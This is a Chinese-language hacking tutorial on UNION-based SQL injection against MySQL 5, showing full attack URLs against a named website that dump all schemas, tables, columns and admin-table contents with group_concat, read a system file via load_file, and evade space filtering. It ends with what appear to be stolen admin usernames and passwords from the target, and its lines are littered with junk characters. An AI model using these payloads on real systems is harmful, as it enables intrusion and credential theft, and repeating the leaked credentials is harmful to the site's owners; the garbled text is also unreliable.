此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
& m' A2 n# |' V' Z4 S; ?但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人. s' e3 Y: A0 g+ [5 G/ R5 k
. ?% k* g7 b) A' U# U1 F# }0 ~- [, ?% g$ u5 N8 C% s/ f
优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
6 `9 x& D$ L- _+ V5 r/ U% }7 e1 E- g$ ^: M
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢..." _7 f+ Q* t9 X$ a1 }) G: \; ~; U9 o
! C. b' Y' T C0 f" h( M下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
$ |" x1 z. n# P# s" V9 Q- J在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等% C1 Z, }, P3 x" C: |& @% f7 k4 V6 M* L
7 \1 A" s }5 M1 Z: T* J
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
1 X$ V4 P b/ q
6 U2 w. g0 K7 a$ B1 z; V; ~读出所有库:! P+ ?9 A! e( b- |1 K
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
% d7 N; T; S/ a- s! w6 T% o, C- a$ a
- u' l" ]( g' L; y) i% G1 t7 x! ?1 C5 r0 [# u. M: k2 }
! P& C4 x- ], X: Q% V读出所有表:8 v9 N0 d- J' G% n3 o9 c$ E
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
: _9 D- g0 Y K* Q1 I# v
/ K5 f7 N+ `! i. J/ D读出所有表字段:+ U; L ]6 s F# W+ d* j
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)! e2 d9 e% n% ?& M1 q( _2 R/ w
*/ (97,100,109,105,110)为admin的ascii码 依次类推
0 \- m, K2 j! r& e+ d) m V8 ]
9 g* q7 E8 _8 D' t% v1 w. G读出所有表字段里的内容:* L' z+ a, z: h
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin: x) Q: d, r4 O; W
9 C+ ~1 G/ T2 H- Z* Z8 v
3 o% ?% @! ~ Z E! I. g
3 U' H: {0 V4 o7 n4 s3 a H: H; Y9 q- g7 _# d) M8 G
* x8 @1 _' r) N* |
6 l* \4 P, G2 r
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
' Z+ B/ t9 A. f2 t5 Y' d5 F5 a6 E+ w
) R. f. z. @7 \% e! S+ l7 Z) Z6 bhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%239 L( A- h i4 U! j+ K
* A, d U! v( yhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23: c+ M8 ]1 K7 R9 y, u7 a% H8 x
o0 |# ]4 B! `+ ^$ m
# @ \+ e0 l5 z+ Jhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23. ^! q2 U0 q* E+ o: L
6 |( y3 K* C1 @) m/ W
1 F5 g$ K1 I/ G1 ]+ } | webmaster:dzb521123,simlab:simadmin20043233- @- u/ Z6 l; _8 `' V) G. J
|